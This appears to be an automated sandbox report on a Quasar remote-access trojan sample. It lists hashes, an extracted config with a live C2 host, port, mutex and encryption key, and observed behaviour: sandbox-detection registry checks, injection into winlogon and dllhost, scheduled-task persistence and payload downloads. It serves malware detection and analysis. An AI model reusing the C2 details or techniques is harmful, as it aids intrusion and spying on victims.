quasar | 43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3

General

Target

R0X-Built.exe
Size

409KB
MD5

a0f5aa5764c4f66eee82f857f9f447b6
SHA1

3c3a780d020cb3eb3088223443fe813abb95dccd
SHA256

43c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
SHA512

458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
SSDEEP

6144:RMX2pJAJcC0B61K6qZ1fQ57P/EwXhb4azmosb+lfXdOIFyoOOfTA3pwF:lpyJcC+uK6qZ1G8QJjbfNOSOObA3pwF

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Slave

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-3vDee7FzoJnhqjuE3n

Attributes

encryption_key
KaNwItdY6wlv5nCN4prL
install_name
$srr-powershell.exe
log_directory
Logs
reconnect_delay
1000
startup_key
$srr-powershell
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2488-1-0x0000000000600000-0x000000000066C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4364 created 616 4364 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 4364 created 616	4364	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 2 IoCs

Processes:

$srr-powershell.exeinstall.exe

pid process

388 $srr-powershell.exe
532 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

15 raw.githubusercontent.com
16 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com

pid	process
388	$srr-powershell.exe
532	install.exe

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com

flow	ioc
6	ip-api.com

Drops file in System32 directory 8 IoCs

Processes:

svchost.exesvchost.exeOfficeClickToRun.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4364 set thread context of 4672 4364 powershell.EXE dllhost.exe

description	pid	process	target process
PID 4364 set thread context of 4672	4364	powershell.EXE	dllhost.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

2448 schtasks.exe
4648 SCHTASKS.exe
3408 schtasks.exe
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

pid	process
2448	schtasks.exe
4648	SCHTASKS.exe
3408	schtasks.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 56 IoCs

Processes:

powershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683608"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={71141597-B88E-48A4-AD76-13AD089071B0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 21:00:09 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe

Modifies registry class 16 IoCs

Processes:

RuntimeBroker.exeRuntimeBroker.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = ea3d1d82d39cda01	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = "0"	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = "8324"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = "\\\\?\\Volume{B97EBE19-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\ceffd43c2eefc052365c0b35386382f9054e37439b68bd9b93c8ea319691e98e"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000004ea89e81d39cda01368f0782d39cda01368f0782d39cda01b70500000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25854a72000636566666434336332656566633035323336356330623335333836333832663930353465333734333962363862643962393363386561333139363931653938650000b20009000400efbea25854a7a25854a72e000000000000000000000000000000000000000000000000003d2ad100630065006600660064003400330063003200650065006600630030003500320033003600350063003000620033003500330038003600330038003200660039003000350034006500330037003400330039006200360038006200640039006200390033006300380065006100330031003900360039003100650039003800650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000743fe4e91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63656666643433633265656663303532333635633062333533383633383266393035346533373433396236386264396239336338656133313936393165393865000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000726861747165647100000000000000008e69c4ea1508f64e82bc7922d9c9b2b0ed332cf4d403ef118fd7423b00633fb28e69c4ea1508f64e82bc7922d9c9b2b0ed332cf4d403ef118fd7423b00633fb2d2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003900300036003200380037003000320030002d0032003900310035003400370034003600300038002d0031003700350035003600310037003700380037002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000019be7eb9000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ed50621-89cd-4704	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\269d867e-0947-40e8 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exe$srr-powershell.exewmiprvse.exe

pid	process
4364	powershell.EXE
4364	powershell.EXE
4364	powershell.EXE
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
388	$srr-powershell.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
388	$srr-powershell.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
2108	wmiprvse.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
388	$srr-powershell.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
388	$srr-powershell.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe
4672	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2488	R0X-Built.exe
Token: SeDebugPrivilege	388	$srr-powershell.exe
Token: SeDebugPrivilege	4364	powershell.EXE
Token: SeDebugPrivilege	4364	powershell.EXE
Token: SeDebugPrivilege	4672	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
Token: SeManageVolumePrivilege	2240	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2240	svchost.exe
Token: SeIncreaseQuotaPrivilege	2240	svchost.exe
Token: SeSecurityPrivilege	2240	svchost.exe
Token: SeTakeOwnershipPrivilege	2240	svchost.exe
Token: SeLoadDriverPrivilege	2240	svchost.exe
Token: SeSystemtimePrivilege	2240	svchost.exe
Token: SeBackupPrivilege	2240	svchost.exe
Token: SeRestorePrivilege	2240	svchost.exe
Token: SeShutdownPrivilege	2240	svchost.exe
Token: SeSystemEnvironmentPrivilege	2240	svchost.exe
Token: SeUndockPrivilege	2240	svchost.exe
